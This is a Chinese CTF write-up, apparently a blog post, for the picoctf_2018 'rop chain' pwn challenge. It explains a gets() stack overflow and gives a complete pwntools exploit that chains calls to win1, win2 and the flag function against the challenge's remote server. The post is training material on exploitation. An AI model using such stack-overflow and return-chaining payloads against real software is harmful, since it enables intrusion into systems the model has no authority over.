buuctf -picoctf_2018_rop chain

只开启了nx保护,用栈溢出做题,主打一个轻松愉快 -a-

一个gets栈溢出

看flag函数的逻辑顺序

很明显,已经将flag打开并输入到了s里,而想要输出就需要让win1==1、win2==1,以及a1=0xdeadbaad。显然a1是可以由我们自行传入的参数(即a1可控)

简单明了,win1=1

win2这里也有一些要求,即要求win1==1、a1=0xbaaaaaad,这样可以使得win2置1.

如此来看,逻辑就很清晰了,从vuln栈溢出跳转到win1,返回到vuln,跳转到win2并携带参数a1,返回到vuln,跳转到flag函数并携带参数a1(这个与上一个不同)

exp如下:

from pwn import*
context(log_level='debug',arch='i386',os='linux')
#p=process('./rop_chain')
p=remote('node4.buuoj.cn',25235)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda   :p.recvline()
​
vuln_addr = 0x8048714
flag_addr = 0x804862B
win1_addr = 0x80485CB 
win2_addr = 0x80485D8
​
payload = b'A'*(0x18+4)+p32(win1_addr)+p32(vuln_addr)
sl(payload)
​
payload = b'A'*(0x18+4)+p32(win2_addr)+p32(vuln_addr)+p32(0xbaaaaaad)
sl(payload)
​
payload = b'A'*(0x18+4)+p32(flag_addr)+p32(vuln_addr)+p32(0xdeadbaad)
sl(payload)
​
​
p.interactive()
~                                                                                                 
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值